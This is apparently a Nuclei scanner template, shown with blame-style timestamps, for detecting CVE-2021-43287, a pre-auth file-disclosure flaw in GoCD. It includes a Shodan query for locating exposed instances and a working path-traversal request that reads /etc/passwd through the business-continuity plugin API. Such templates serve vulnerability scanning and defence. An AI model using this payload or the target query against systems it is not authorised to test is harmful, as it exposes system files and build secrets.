2021-11-06 07:04:04 +00:00
id : CVE-2021-43287
2021-11-04 20:00:11 +00:00
info :
2021-11-06 07:04:04 +00:00
name : Pre-Auth Takeover of Build Pipelines in GoCD
2021-11-04 20:00:11 +00:00
author : dhiyaneshDk
2022-05-17 09:18:12 +00:00
severity : high
2022-02-28 21:40:27 +00:00
description : GoCD contains a critical information disclosure vulnerability whose exploitation allows unauthenticated attackers to leak configuration information including build secrets and encryption keys.
2023-09-06 12:09:01 +00:00
remediation : Upgrade to version v21.3.0. or later.
2021-11-04 20:43:15 +00:00
reference :
- https://attackerkb.com/assessments/9101a539-4c6e-4638-a2ec-12080b7e3b50
- https://blog.sonarsource.com/gocd-pre-auth-pipeline-takeover
- https://twitter.com/wvuuuuuuuuuuuuu/status/1456316586831323140
2022-05-17 09:18:12 +00:00
- https://www.gocd.org/releases/#21-3-0
2023-07-11 19:49:27 +00:00
- https://github.com/gocd/gocd/commit/41abc210ac4e8cfa184483c9ff1c0cc04fb3511c
2022-02-28 18:19:21 +00:00
classification :
2022-05-17 09:18:12 +00:00
cvss-metrics : CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
cvss-score : 7.5
2022-02-28 18:19:21 +00:00
cve-id : CVE-2021-43287
2022-05-17 09:18:12 +00:00
cwe-id : CWE-200
2023-11-21 02:35:29 +00:00
epss-score : 0.59173
2023-11-23 06:31:41 +00:00
epss-percentile : 0.97434
2023-09-06 12:09:01 +00:00
cpe : cpe:2.3:a:thoughtworks:gocd:*:*:*:*:*:*:*:*
2022-04-22 10:38:41 +00:00
metadata :
2023-04-28 08:11:21 +00:00
max-request : 1
2023-07-11 19:49:27 +00:00
vendor : thoughtworks
product : gocd
2023-09-06 12:09:01 +00:00
shodan-query : http.title:"Create a pipeline - Go",html:"GoCD Version"
2023-03-06 13:20:40 +00:00
tags : cve,cve2021,go,lfi,gocd
2021-11-04 21:26:16 +00:00
2023-04-27 04:28:59 +00:00
http :
2021-11-04 20:00:11 +00:00
- method : GET
path :
- "{{BaseURL}}/go/add-on/business-continuity/api/plugin?folderName=&pluginName=../../../etc/passwd"
matchers-condition : and
matchers :
- type : regex
regex :
- "root:.*:0:0:"
2023-07-11 19:49:27 +00:00
- type : status
status :
- 200
2023-11-23 07:42:52 +00:00
# digest: 4a0a0047304502210097b1cc7e0eefc1d055fa9ad45d58f668608ab51f95f4de03fbf06fe6ec4efaca022031c034a70cee68c8ed87a24fba8eba4c8c20c0f8594e1d98785f52c02fdc7735:922c64590222798bb761d5b6d8e72950